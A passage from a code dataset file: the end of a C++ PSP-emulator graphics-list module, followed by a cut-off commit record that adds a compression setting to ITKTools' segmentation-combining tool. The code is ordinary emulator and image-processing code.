ORIGINADDR:\r\n\t\tpacket->Argument = packet->Argument | baseAddress;\r\n\t\tbreak;\r\n\t}\r\n}\r\n\r\nbool ReadPackets( void* memoryAddress, uint pointer, uint stallAddress, VideoDisplayList* list )\r\n{\r\n\tif( stallAddress == 0 )\r\n\t\tstallAddress = 0xFFFFFFFF;\r\n\r\n\t\/\/ Fix for cached addresses\/etc\r\n\tpointer &= 0x3FFFFFFF;\r\n\tstallAddress &= 0x3FFFFFFF;\r\n\r\n\tint packetCount = list->PacketCount;\r\n\r\n\tint* memptr = ( int* )memoryAddress;\r\n\twhile( pointer < stallAddress )\r\n\t{\r\n\t\tif( packetCount >= list->PacketCapacity )\r\n\t\t{\r\n\t\t\t\/\/ Ran out of space! No clue what to do! Ack!\r\n\t\t\t\/\/ Could we use MemoryPool to realloc and such?\r\n\t\t\tBREAK;\r\n\t\t}\r\n\r\n\t\tint code = *( ( int* )( ( byte* )memptr + ( pointer - 0x08000000 ) ) );\r\n\t\tVideoPacket* packet = list->Packets + packetCount;\r\n\t\tGetVideoPacket( code, list->Base, packet );\r\n\t\tpacketCount++;\r\n\r\n\t\tpointer += 4;\r\n\r\n\t\tswitch( packet->Command )\r\n\t\t{\r\n\t\tcase BASE:\r\n\t\t\tlist->Base = packet->Argument << 8;\r\n\t\t\tbreak;\r\n\t\tcase JUMP:\r\n\t\t\tpointer = packet->Argument | list->Base;\r\n\t\t\tbreak;\r\n\r\n\t\t\t\/\/ Not implemented\r\n\t\tcase CALL:\r\n\t\tcase RET:\r\n\t\tcase BJUMP:\r\n\t\t\tBREAK;\r\n\t\t\tbreak;\r\n\r\n\t\t\t\/\/ Stop conditions?\r\n\t\tcase FINISH:\r\n\t\tcase END:\r\n\t\tcase Unknown0x11:\r\n\t\t\tlist->PacketCount = packetCount;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\tlist->PacketCount = packetCount;\r\n\treturn false;\r\n}\r\n\r\nbool ReadMorePackets( void* memoryAddress, VideoDisplayList* vdl, uint newStallAddress )\r\n{\r\n\tint oldStallAddress = vdl->StallAddress;\r\n\tvdl->StallAddress = newStallAddress;\r\n\tbool done = ReadPackets( memoryAddress, oldStallAddress, vdl->StallAddress, vdl );\r\n\tvdl->Ready = done;\r\n\treturn done;\r\n}\r\n\r\n\/\/ sceGeUser -------------------------------------------\r\n\r\nint sceGeListEnQueue( uint list, uint stall, int cbid, uint arg, int head )\r\n{\r\n\tVideoDisplayList* vdl = ( VideoDisplayList* )malloc( sizeof( VideoDisplayList ) );\r\n\tmemset( vdl, 0, sizeof( VideoDisplayList ) );\r\n\tvdl->CallbackID = cbid;\r\n\tvdl->Argument = arg;\r\n\r\n\tvdl->PacketCapacity = DEFAULTPACKETCAPACITY;\r\n\tvdl->Packets = ( VideoPacket* )_memoryPool->Request( DEFAULTPACKETCAPACITY * sizeof( VideoPacket ) );\r\n#ifdef _DEBUG\r\n\tmemset( vdl->Packets, 0, DEFAULTPACKETCAPACITY * sizeof( VideoPacket ) );\r\n#endif\r\n\r\n\tif( stall == NULL )\r\n\t{\r\n\t\tvdl->Ready = true;\r\n\r\n\t\t\/\/ Read all now\r\n\t\tbool done = ReadPackets( _memoryAddress, list, 0, vdl );\r\n\t\tBREAKIF( done == false );\r\n\t}\r\n\telse\r\n\t{\r\n\t\tvdl->Ready = false;\r\n\t\tvdl->StallAddress = stall;\r\n\r\n\t\t\/\/ Rest will follow\r\n\t\tbool done = ReadPackets( _memoryAddress, list, stall, vdl );\r\n\t\tBREAKIF( done == true );\r\n\r\n\t\tAddOutstandingList( vdl );\r\n\t}\r\n\r\n\tVideoApi* ni = _videoApi;\r\n\tint listId = ni->EnqueueList( vdl, ( head == 1 ) ? true : false );\r\n\tif( listId >= 0 )\r\n\t\treturn listId;\r\n\telse\r\n\t\treturn -1;\r\n}\r\n\r\nint sceGeListDeQueue( int qid )\r\n{\r\n\tVideoApi* ni = _videoApi;\r\n\r\n\tRemoveOutstandingList( qid );\r\n\tni->DequeueList( qid );\r\n\r\n\treturn 0;\r\n}\r\n\r\nint sceGeListUpdateStallAddr( int qid, uint stall )\r\n{\r\n\tVideoApi* ni = _videoApi;\r\n\r\n\t\/\/VideoDisplayList* vdl = ni->FindList( qid );\r\n\tVideoDisplayList* vdl = FindOutstandingList( qid );\r\n\tif( vdl == NULL )\r\n\t{\r\n\t\tBREAK;\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tif( vdl->Ready == false )\r\n\t{\r\n\t\tbool done = ReadMorePackets( _memoryAddress, vdl, stall );\r\n\t\tif( done == true )\r\n\t\t{\r\n\t\t\tRemoveOutstandingList( vdl );\r\n\t\t\tni->SyncList( vdl->ID );\r\n\t\t}\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nint sceGeListSync( int qid, int syncType )\r\n{\r\n\tVideoApi* ni = _videoApi;\r\n\r\n\t\/\/VideoDisplayList* vdl = ni->FindList( qid );\r\n\tVideoDisplayList* vdl = FindOutstandingList( qid );\r\n\tif( vdl == NULL )\r\n\t{\r\n\t\t\/\/ Could have been processed already\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tif( vdl->Ready == false )\r\n\t{\r\n\t\tbool done = ReadMorePackets( _memoryAddress, vdl, 0 );\r\n\t\tif( done == false )\r\n\t\t\tBREAK;\r\n\t\telse\r\n\t\t{\r\n\t\t\tRemoveOutstandingList( vdl );\r\n\t\t\tni->SyncList( vdl->ID );\r\n\t\t}\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nint sceGeDrawSync( int syncType )\r\n{\r\n\t\/\/ Can only handle syncType == 0\r\n\tBREAKIF( syncType != 0 );\r\n\r\n\t\/\/ This a full sync - we need to finish all lists\r\n\tVdlRef* ref = _outstandingLists;\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tVideoDisplayList* vdl = ref->List;\r\n\t\tif( vdl->Ready == false )\r\n\t\t{\r\n\t\t\tbool done = ReadMorePackets( _memoryAddress, vdl, 0 );\r\n\t\t\tBREAKIF( done == false );\r\n\t\t}\r\n\t\tref = ref->Next;\r\n\t}\r\n\r\n\tClearOutstandingLists();\r\n\r\n\tVideoApi* ni = _videoApi;\r\n\tni->Sync();\r\n\r\n\treturn 0;\r\n}\r\n\r\n#pragma managed<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n*\n* Copyright Marius Staring, Stefan Klein, David Doria. 2011.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*=========================================================================*\/\n\/** \\file\n \\brief This program combines multiple segmentations into one.\n\n \\verbinclude combinesegmentations.help\n *\/\n#include \"itkCommandLineArgumentParser.h\"\n#include \"ITKToolsHelpers.h\"\n#include \"combinesegmentations.h\"\n\n\n\/**\n * ******************* GetHelpString *******************\n *\/\n\nstd::string GetHelpString( void )\n{\n  std::stringstream ss;\n  ss << \"ITKTools v\" << itktools::GetITKToolsVersion() << \"\\n\"\n    << \"This program combines multiple segmentations into one.\\n\"\n    << \"Usage:\\n\"\n    << \"pxcombinesegmentations\\n\"\n    << \"[-m]     {STAPLE, VOTE, MULTISTAPLE, MULTISTAPLE2, VOTE_MULTISTAPLE2}:\\n\"\n    << \"        the method used to combine the segmentations. default: MULTISTAPLE2.\\n\"\n    << \"        VOTE_MULTISTAPLE2 is in fact just VOTE followed by MULTISTAPLE2.\\n\"\n    << \"-in      inputFilename0 [inputFileName1 ... ]: the input segmentations,\\n\"\n    << \"        as unsigned char images. More than 2 labels are allowed, but\\n\"\n    << \"        with some restrictions: {0,1,2}=ok, {0,3,4}=bad, {1,2,3}=bad.\\n\"\n    << \"[-n]     numberOfClasses: the number of classes to segment;\\n\"\n    << \"        default: 2 (so, 0 and 1).\\n\"\n    << \"[-P]     priorProbImageFilename0 priorProbImageFilename1 [...]:\\n\"\n    << \"        the names of the prior probabilities for each class, stored as float images.\\n\"\n    << \"        This has only effect when using [VOTE_]MULTISTAPLE2.\\n\"\n    << \"[-p]     priorProb0 priorProb1 [...]:\\n\"\n    << \"        the prior probabilities for each class, independent of x, so a floating point\\n\"\n    << \"        number for each class. This parameter is ignored when \\\"-P\\\" is provided as well.\\n\"\n    << \"        For VOTE this parameter is ignored. For STAPLE, this number is considered\\n\"\n    << \"        as a factor which is multiplied with the estimated prior probability.\\n\"\n    << \"       For MULTISTAPLE[2], the number is really the prior probability.\\n\"\n    << \"        If -p and -P are not provided, the prior probs are estimated from the data.\\n\"\n    << \"[-t]     trust0 [trust1 ...]: a factor between 0 and 1 indicating the 'trust' in each observer;\\n\"\n    << \"        default: 0.99999 for each observer for [VOTE_]MULTISTAPLE2. 1.0 for VOTE.\\n\"\n    << \"        Ignored by STAPLE and MULTISTAPLE; they estimate it by majority voting.\\n\"\n    << \"[-e]     termination threshold: a small float. the smaller the more accurate the solution;\\n\"\n    << \"        default: 1e-5. Ignored by STAPLE and VOTE.\\n\"\n    << \"[-outs]  outputFilename0 outputFileName1 [...]: the output (soft) probabilistic\\n\"\n    << \"        segmentations for each label. These will be float images.\\n\"\n    << \"[-outh]  outputFilename: the output hard segmentation, stored as a single\\n\"\n    << \"        unsigned char image, containing the label numbers.\\n\"\n    << \"       The value 'numberOfClasses' corresponds to 'undecided' (if two labels\\n\"\n    << \"        are exactly equally likely).\\n\"\n    << \"[-outc]  confusionImageFileName: 3d float image, in which each slice resembles\\n\"\n    << \"        the confusion matrix for each observer. The x-axis corresponds to the\\n\"\n    << \"        real label, the y-axis corresponds to the label given by the observer.\\n\"\n    << \"[-mask]  [maskDilationRadius]: Use a mask if this flag is provided.\\n\"\n    << \"        Only taken into account by [VOTE_]MULTISTAPLE2 and VOTE.\\n\"\n    << \"        The mask is 0 at those pixels were the decision is unanimous, and 1 elsewhere.\\n\"\n    << \"        A dilation is performed with a kernel with radius maskDilationRadius (default:1)\\n\"\n    << \"        Pixels that are outside the mask, will have class of the first observer.\\n\"\n    << \"        Other pixels are passed through the combination algorithm.\\n\"\n    << \"        The confusion matrix will be only based on the pixels within the mask.\\n\"\n    << \"[-ord]   The order of preferred classes, in cases of undecided pixels. Default: 0 1 2...\\n\"\n    << \"        Ignored by STAPLE and MULTISTAPLE. In the default case, class 0 will be\\n\"\n    << \"        preferred over class 1, for example.\\n\"\n    << \"[-iv]    inputlabels for relabeling\\n\"\n    << \"[-ov]    outputlabels for relabeling. Each input label is replaced by the corresponding\\n\"\n    << \"        output label, before the combinationMethod is invoked. NumberOfClasses should be\\n\"\n    << \"        valid for the situation after relabeling!\\n\"\n    << \"[-z]    compression flag; if provided, the output image is compressed\\n\"\n    << \"[-threads] maximum number of threads to use.\\n\"\n    << \"Supported: 2D\/3D.\";\n\n  return ss.str();\n\n} \/\/ end GetHelpString()\n\n\/\/-------------------------------------------------------------------------------------\n\nint main( int argc, char **argv )\n{\n  \/** Create a command line argument parser. *\/\n  itk::CommandLineArgumentParser::Pointer parser = itk::CommandLineArgumentParser::New();\n  parser->SetCommandLineArguments( argc, argv );\n  parser->SetProgramHelpText( GetHelpString() );\n\n  parser->MarkArgumentAsRequired( \"-in\", \"The input filename.\" );\n\n  itk::CommandLineArgumentParser::ReturnValue validateArguments = parser->CheckForRequiredArguments();\n\n  if( validateArguments == itk::CommandLineArgumentParser::FAILED )\n  {\n    return EXIT_FAILURE;\n  }\n  else if( validateArguments == itk::CommandLineArgumentParser::HELPREQUESTED )\n  {\n    return EXIT_SUCCESS;\n  }\n\n  \/** Get the combination method (mandatory) *\/\n  std::string combinationMethod = \"MULTISTAPLE2\";\n  parser->GetCommandLineArgument( \"-m\", combinationMethod );\n\n  \/** Get the input segmentation file names (mandatory). *\/\n  std::vector< std::string >  inputSegmentationFileNames;\n  parser->GetCommandLineArgument( \"-in\", inputSegmentationFileNames );\n\n  \/** Get the settings for the change label image filter (not mandatory) *\/\n  std::vector<unsigned int>  inValues;\n  std::vector<unsigned int>  outValues;\n  parser->GetCommandLineArgument( \"-iv\", inValues );\n  parser->GetCommandLineArgument( \"-ov\", outValues );\n  if( inValues.size() != outValues.size() )\n  {\n    std::cerr << \"ERROR: Number of values following after \\\"-iv\\\" and \\\"-ov\\\" should be equal.\" << std::endl;\n    return EXIT_FAILURE;\n  }\n\n  \/** Get the number of classes to segment (not mandatory) *\/\n  unsigned char numberOfClasses = 2;\n  parser->GetCommandLineArgument( \"-n\", numberOfClasses );\n\n  \/** Get the prior probability images (not mandatory) *\/\n  std::vector< std::string >  priorProbImageFileNames;\n  bool retP = parser->GetCommandLineArgument( \"-P\", priorProbImageFileNames );\n  if(retP)\n  {\n    if( priorProbImageFileNames.size() != numberOfClasses )\n    {\n      std::cerr\n        << \"ERROR: Number of prior probability images should be equal \"\n        << \"to the number of classes.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-P\\\" should be followed by \"\n        << numberOfClasses\n        << \" filenames or just totally omitted.\"\n        << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n\n  \/** Get the prior probabilities (not mandatory) *\/\n  std::vector< float >  priorProbs(0);\n  bool retp = parser->GetCommandLineArgument( \"-p\", priorProbs );\n  if( retp && !retP )\n  {\n    if( priorProbs.size() != numberOfClasses )\n    {\n      std::cerr\n        << \"ERROR: Number of prior probabilities should be equal \"\n        << \"to the number of classes.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-p\\\" should be followed by \"\n        << numberOfClasses\n        << \" numbers or just totally omitted.\"\n        << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n  if( retp && retP )\n  {\n    std::cout << \"WARNING: \\\"-p\\\" is ignored when \\\"-P\\\" is given as well!\" << std::endl;\n  }\n\n  \/** Get the trust factor for each observer (not mandatory) *\/\n  std::vector< float > trust(0);\n  bool rett = parser->GetCommandLineArgument( \"-t\", trust );\n  if( rett )\n  {\n    if( trust.size() != inputSegmentationFileNames.size() )\n    {\n      std::cerr\n        << \"ERROR: Number of trust factors should be equal to the number of \"\n        << \"input segmentations.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-t\\\" should be followed by \"\n        << inputSegmentationFileNames.size()\n        << \" numbers or just totally omitted.\" << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n\n  \/** Get the number of classes to segment (not mandatory) *\/\n  float terminationThreshold = 1e-5;\n  parser->GetCommandLineArgument( \"-e\", terminationThreshold );\n\n  \/** Get the outputFileNames *\/\n  std::vector< std::string > softOutputFileNames;\n  std::string hardOutputFileName = \"\";\n  std::string confusionOutputFileName = \"\";\n  bool retouts = parser->GetCommandLineArgument( \"-outs\", softOutputFileNames );\n  if( retouts )\n  {\n    if( softOutputFileNames.size() != numberOfClasses  &&\n         softOutputFileNames.size() != 1 )\n    {\n      std::cerr\n        << \"ERROR: Number of soft output image file names should be equal \"\n        << \"to the number of classes.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-outs\\\" should be followed by \"\n        << numberOfClasses\n        << \" filenames or just totally omitted.\"\n        << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n  parser->GetCommandLineArgument( \"-outh\", hardOutputFileName );\n  parser->GetCommandLineArgument( \"-outc\", confusionOutputFileName );\n\n  \/** Use mask or not? If yes, read the maskDilationRadius. *\/\n  unsigned int maskDilationRadius = 1;\n  bool useMask = parser->ArgumentExists( \"-mask\" );\n  parser->GetCommandLineArgument( \"-mask\", maskDilationRadius );\n\n  \/** Read the preferred order of classes in case of undecided pixels *\/\n  std::vector<unsigned int> prefOrder(numberOfClasses);\n  for( unsigned int i = 0; i < numberOfClasses; ++i )\n  {\n    prefOrder[ i ] = i;\n  }\n  parser->GetCommandLineArgument( \"-ord\", prefOrder );\n\n  \/** Use compression *\/\n  const bool useCompression = parser->ArgumentExists( \"-z\" );\n\n  \/** Threads. *\/\n  unsigned int maximumNumberOfThreads\n    = itk::MultiThreader::GetGlobalDefaultNumberOfThreads();\n  parser->GetCommandLineArgument(\n    \"-threads\", maximumNumberOfThreads );\n  itk::MultiThreader::SetGlobalMaximumNumberOfThreads(\n    maximumNumberOfThreads );\n\n  \/** Determine image properties. *\/\n  itk::ImageIOBase::IOPixelType pixelType = itk::ImageIOBase::UNKNOWNPIXELTYPE;\n  itk::ImageIOBase::IOComponentType componentType = itk::ImageIOBase::UNKNOWNCOMPONENTTYPE;\n  unsigned int dim = 0;\n  unsigned int numberOfComponents = 0;\n  bool retgip = itktools::GetImageProperties(\n    inputSegmentationFileNames[0], pixelType, componentType, dim, numberOfComponents );\n  if( !retgip ) return EXIT_FAILURE;\n\n  std::cout << \"The input image has the following properties:\" << std::endl;\n  \/** Do not bother the user with the difference between pixeltype and componenttype:*\/\n  \/\/std::cout << \"\\tPixelType:          \" << PixelType << std::endl;\n  std::cout << \"\\tPixelType:          \" << componentType << std::endl;\n  std::cout << \"\\tDimension:          \" << dim << std::endl;\n  std::cout << \"\\tNumberOfComponents: \" << numberOfComponents << std::endl;\n\n  \/** Check for vector images. *\/\n  bool retNOCCheck = itktools::NumberOfComponentsCheck( numberOfComponents );\n  if( !retNOCCheck ) return EXIT_FAILURE;\n\n  \/** Class that does the work. *\/\n  ITKToolsCombineSegmentationsBase * filter = 0;\n\n  try\n  {\n    \/\/ now call all possible template combinations.\n    \/\/if( !filter ) filter = ITKToolsCombineSegmentations< 2, char >::New( dim, componentType );\n    if( !filter ) filter = ITKToolsCombineSegmentations< 2, unsigned char >::New( dim, componentType );\n\n#ifdef ITKTOOLS_3D_SUPPORT\n    \/\/if( !filter ) filter = ITKToolsCombineSegmentations< 3, char >::New( dim, componentType );\n    if( !filter ) filter = ITKToolsCombineSegmentations< 3, unsigned char >::New( dim, componentType );\n#endif\n    \/** Check if filter was instantiated. *\/\n    bool supported = itktools::IsFilterSupportedCheck( filter, dim, componentType );\n    if( !supported ) return EXIT_FAILURE;\n\n    \/** Set the filter arguments. *\/\n    filter->m_InputSegmentationFileNames = inputSegmentationFileNames;\n    filter->m_PriorProbImageFileNames = priorProbImageFileNames;\n    filter->m_SoftOutputFileNames = softOutputFileNames;\n    filter->m_HardOutputFileName = hardOutputFileName;\n    filter->m_ConfusionOutputFileName = confusionOutputFileName;\n    filter->m_NumberOfClasses = numberOfClasses;\n    filter->m_PriorProbs = priorProbs;\n    filter->m_Trust = trust;\n    filter->m_TerminationThreshold = terminationThreshold;\n    filter->m_CombinationMethod = combinationMethod;\n    filter->m_UseMask = useMask;\n    filter->m_MaskDilationRadius = maskDilationRadius;\n    filter->m_PrefOrder = prefOrder;\n    filter->m_InValues = inValues;\n    filter->m_OutValues = outValues;\n\n    filter->Run();\n\n    delete filter;\n  }\n  catch( itk::ExceptionObject & excp )\n  {\n    std::cerr << \"ERROR: Caught ITK exception: \" << excp << std::endl;\n    delete filter;\n    return EXIT_FAILURE;\n  }\n\n  \/** End program. *\/\n  return EXIT_SUCCESS;\n\n} \/\/ end main\n<commit_msg>BUG: assign filter->m_UseCompression = useCompression<commit_after>\/*=========================================================================\n*\n* Copyright Marius Staring, Stefan Klein, David Doria. 2011.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*=========================================================================*\/\n\/** \\file\n \\brief This program combines multiple segmentations into one.\n\n \\verbinclude combinesegmentations.help\n *\/\n#include \"itkCommandLineArgumentParser.h\"\n#include \"ITKToolsHelpers.h\"\n#include \"combinesegmentations.h\"\n\n\n\/**\n * ******************* GetHelpString *******************\n *\/\n\nstd::string GetHelpString( void )\n{\n  std::stringstream ss;\n  ss << \"ITKTools v\" << itktools::GetITKToolsVersion() << \"\\n\"\n    << \"This program combines multiple segmentations into one.\\n\"\n    << \"Usage:\\n\"\n    << \"pxcombinesegmentations\\n\"\n    << \"[-m]     {STAPLE, VOTE, MULTISTAPLE, MULTISTAPLE2, VOTE_MULTISTAPLE2}:\\n\"\n    << \"        the method used to combine the segmentations. default: MULTISTAPLE2.\\n\"\n    << \"        VOTE_MULTISTAPLE2 is in fact just VOTE followed by MULTISTAPLE2.\\n\"\n    << \"-in      inputFilename0 [inputFileName1 ... ]: the input segmentations,\\n\"\n    << \"        as unsigned char images. More than 2 labels are allowed, but\\n\"\n    << \"        with some restrictions: {0,1,2}=ok, {0,3,4}=bad, {1,2,3}=bad.\\n\"\n    << \"[-n]     numberOfClasses: the number of classes to segment;\\n\"\n    << \"        default: 2 (so, 0 and 1).\\n\"\n    << \"[-P]     priorProbImageFilename0 priorProbImageFilename1 [...]:\\n\"\n    << \"        the names of the prior probabilities for each class, stored as float images.\\n\"\n    << \"        This has only effect when using [VOTE_]MULTISTAPLE2.\\n\"\n    << \"[-p]     priorProb0 priorProb1 [...]:\\n\"\n    << \"        the prior probabilities for each class, independent of x, so a floating point\\n\"\n    << \"        number for each class. This parameter is ignored when \\\"-P\\\" is provided as well.\\n\"\n    << \"        For VOTE this parameter is ignored. For STAPLE, this number is considered\\n\"\n    << \"        as a factor which is multiplied with the estimated prior probability.\\n\"\n    << \"       For MULTISTAPLE[2], the number is really the prior probability.\\n\"\n    << \"        If -p and -P are not provided, the prior probs are estimated from the data.\\n\"\n    << \"[-t]     trust0 [trust1 ...]: a factor between 0 and 1 indicating the 'trust' in each observer;\\n\"\n    << \"        default: 0.99999 for each observer for [VOTE_]MULTISTAPLE2. 1.0 for VOTE.\\n\"\n    << \"        Ignored by STAPLE and MULTISTAPLE; they estimate it by majority voting.\\n\"\n    << \"[-e]     termination threshold: a small float. the smaller the more accurate the solution;\\n\"\n    << \"        default: 1e-5. Ignored by STAPLE and VOTE.\\n\"\n    << \"[-outs]  outputFilename0 outputFileName1 [...]: the output (soft) probabilistic\\n\"\n    << \"        segmentations for each label. These will be float images.\\n\"\n    << \"[-outh]  outputFilename: the output hard segmentation, stored as a single\\n\"\n    << \"        unsigned char image, containing the label numbers.\\n\"\n    << \"       The value 'numberOfClasses' corresponds to 'undecided' (if two labels\\n\"\n    << \"        are exactly equally likely).\\n\"\n    << \"[-outc]  confusionImageFileName: 3d float image, in which each slice resembles\\n\"\n    << \"        the confusion matrix for each observer. The x-axis corresponds to the\\n\"\n    << \"        real label, the y-axis corresponds to the label given by the observer.\\n\"\n    << \"[-mask]  [maskDilationRadius]: Use a mask if this flag is provided.\\n\"\n    << \"        Only taken into account by [VOTE_]MULTISTAPLE2 and VOTE.\\n\"\n    << \"        The mask is 0 at those pixels were the decision is unanimous, and 1 elsewhere.\\n\"\n    << \"        A dilation is performed with a kernel with radius maskDilationRadius (default:1)\\n\"\n    << \"        Pixels that are outside the mask, will have class of the first observer.\\n\"\n    << \"        Other pixels are passed through the combination algorithm.\\n\"\n    << \"        The confusion matrix will be only based on the pixels within the mask.\\n\"\n    << \"[-ord]   The order of preferred classes, in cases of undecided pixels. Default: 0 1 2...\\n\"\n    << \"        Ignored by STAPLE and MULTISTAPLE. In the default case, class 0 will be\\n\"\n    << \"        preferred over class 1, for example.\\n\"\n    << \"[-iv]    inputlabels for relabeling\\n\"\n    << \"[-ov]    outputlabels for relabeling. Each input label is replaced by the corresponding\\n\"\n    << \"        output label, before the combinationMethod is invoked. NumberOfClasses should be\\n\"\n    << \"        valid for the situation after relabeling!\\n\"\n    << \"[-z]    compression flag; if provided, the output image is compressed\\n\"\n    << \"[-threads] maximum number of threads to use.\\n\"\n    << \"Supported: 2D\/3D.\";\n\n  return ss.str();\n\n} \/\/ end GetHelpString()\n\n\/\/-------------------------------------------------------------------------------------\n\nint main( int argc, char **argv )\n{\n  \/** Create a command line argument parser. *\/\n  itk::CommandLineArgumentParser::Pointer parser = itk::CommandLineArgumentParser::New();\n  parser->SetCommandLineArguments( argc, argv );\n  parser->SetProgramHelpText( GetHelpString() );\n\n  parser->MarkArgumentAsRequired( \"-in\", \"The input filename.\" );\n\n  itk::CommandLineArgumentParser::ReturnValue validateArguments = parser->CheckForRequiredArguments();\n\n  if( validateArguments == itk::CommandLineArgumentParser::FAILED )\n  {\n    return EXIT_FAILURE;\n  }\n  else if( validateArguments == itk::CommandLineArgumentParser::HELPREQUESTED )\n  {\n    return EXIT_SUCCESS;\n  }\n\n  \/** Get the combination method (mandatory) *\/\n  std::string combinationMethod = \"MULTISTAPLE2\";\n  parser->GetCommandLineArgument( \"-m\", combinationMethod );\n\n  \/** Get the input segmentation file names (mandatory). *\/\n  std::vector< std::string >  inputSegmentationFileNames;\n  parser->GetCommandLineArgument( \"-in\", inputSegmentationFileNames );\n\n  \/** Get the settings for the change label image filter (not mandatory) *\/\n  std::vector<unsigned int>  inValues;\n  std::vector<unsigned int>  outValues;\n  parser->GetCommandLineArgument( \"-iv\", inValues );\n  parser->GetCommandLineArgument( \"-ov\", outValues );\n  if( inValues.size() != outValues.size() )\n  {\n    std::cerr << \"ERROR: Number of values following after \\\"-iv\\\" and \\\"-ov\\\" should be equal.\" << std::endl;\n    return EXIT_FAILURE;\n  }\n\n  \/** Get the number of classes to segment (not mandatory) *\/\n  unsigned char numberOfClasses = 2;\n  parser->GetCommandLineArgument( \"-n\", numberOfClasses );\n\n  \/** Get the prior probability images (not mandatory) *\/\n  std::vector< std::string >  priorProbImageFileNames;\n  bool retP = parser->GetCommandLineArgument( \"-P\", priorProbImageFileNames );\n  if(retP)\n  {\n    if( priorProbImageFileNames.size() != numberOfClasses )\n    {\n      std::cerr\n        << \"ERROR: Number of prior probability images should be equal \"\n        << \"to the number of classes.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-P\\\" should be followed by \"\n        << numberOfClasses\n        << \" filenames or just totally omitted.\"\n        << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n\n  \/** Get the prior probabilities (not mandatory) *\/\n  std::vector< float >  priorProbs(0);\n  bool retp = parser->GetCommandLineArgument( \"-p\", priorProbs );\n  if( retp && !retP )\n  {\n    if( priorProbs.size() != numberOfClasses )\n    {\n      std::cerr\n        << \"ERROR: Number of prior probabilities should be equal \"\n        << \"to the number of classes.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-p\\\" should be followed by \"\n        << numberOfClasses\n        << \" numbers or just totally omitted.\"\n        << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n  if( retp && retP )\n  {\n    std::cout << \"WARNING: \\\"-p\\\" is ignored when \\\"-P\\\" is given as well!\" << std::endl;\n  }\n\n  \/** Get the trust factor for each observer (not mandatory) *\/\n  std::vector< float > trust(0);\n  bool rett = parser->GetCommandLineArgument( \"-t\", trust );\n  if( rett )\n  {\n    if( trust.size() != inputSegmentationFileNames.size() )\n    {\n      std::cerr\n        << \"ERROR: Number of trust factors should be equal to the number of \"\n        << \"input segmentations.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-t\\\" should be followed by \"\n        << inputSegmentationFileNames.size()\n        << \" numbers or just totally omitted.\" << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n\n  \/** Get the number of classes to segment (not mandatory) *\/\n  float terminationThreshold = 1e-5;\n  parser->GetCommandLineArgument( \"-e\", terminationThreshold );\n\n  \/** Get the outputFileNames *\/\n  std::vector< std::string > softOutputFileNames;\n  std::string hardOutputFileName = \"\";\n  std::string confusionOutputFileName = \"\";\n  bool retouts = parser->GetCommandLineArgument( \"-outs\", softOutputFileNames );\n  if( retouts )\n  {\n    if( softOutputFileNames.size() != numberOfClasses  &&\n         softOutputFileNames.size() != 1 )\n    {\n      std::cerr\n        << \"ERROR: Number of soft output image file names should be equal \"\n        << \"to the number of classes.\"\n        << std::endl;\n      std::cerr\n        << \"i.e., \\\"-outs\\\" should be followed by \"\n        << numberOfClasses\n        << \" filenames or just totally omitted.\"\n        << std::endl;\n      return EXIT_FAILURE;\n    }\n  }\n  parser->GetCommandLineArgument( \"-outh\", hardOutputFileName );\n  parser->GetCommandLineArgument( \"-outc\", confusionOutputFileName );\n\n  \/** Use mask or not? If yes, read the maskDilationRadius. *\/\n  unsigned int maskDilationRadius = 1;\n  bool useMask = parser->ArgumentExists( \"-mask\" );\n  parser->GetCommandLineArgument( \"-mask\", maskDilationRadius );\n\n  \/** Read the preferred order of classes in case of undecided pixels *\/\n  std::vector<unsigned int> prefOrder(numberOfClasses);\n  for( unsigned int i = 0; i < numberOfClasses; ++i )\n  {\n    prefOrder[ i ] = i;\n  }\n  parser->GetCommandLineArgument( \"-ord\", prefOrder );\n\n  \/** Use compression *\/\n  const bool useCompression = parser->ArgumentExists( \"-z\" );\n\n  \/** Threads. *\/\n  unsigned int maximumNumberOfThreads\n    = itk::MultiThreader::GetGlobalDefaultNumberOfThreads();\n  parser->GetCommandLineArgument(\n    \"-threads\", maximumNumberOfThreads );\n  itk::MultiThreader::SetGlobalMaximumNumberOfThreads(\n    maximumNumberOfThreads );\n\n  \/** Determine image properties. *\/\n  itk::ImageIOBase::IOPixelType pixelType = itk::ImageIOBase::UNKNOWNPIXELTYPE;\n  itk::ImageIOBase::IOComponentType componentType = itk::ImageIOBase::UNKNOWNCOMPONENTTYPE;\n  unsigned int dim = 0;\n  unsigned int numberOfComponents = 0;\n  bool retgip = itktools::GetImageProperties(\n    inputSegmentationFileNames[0], pixelType, componentType, dim, numberOfComponents );\n  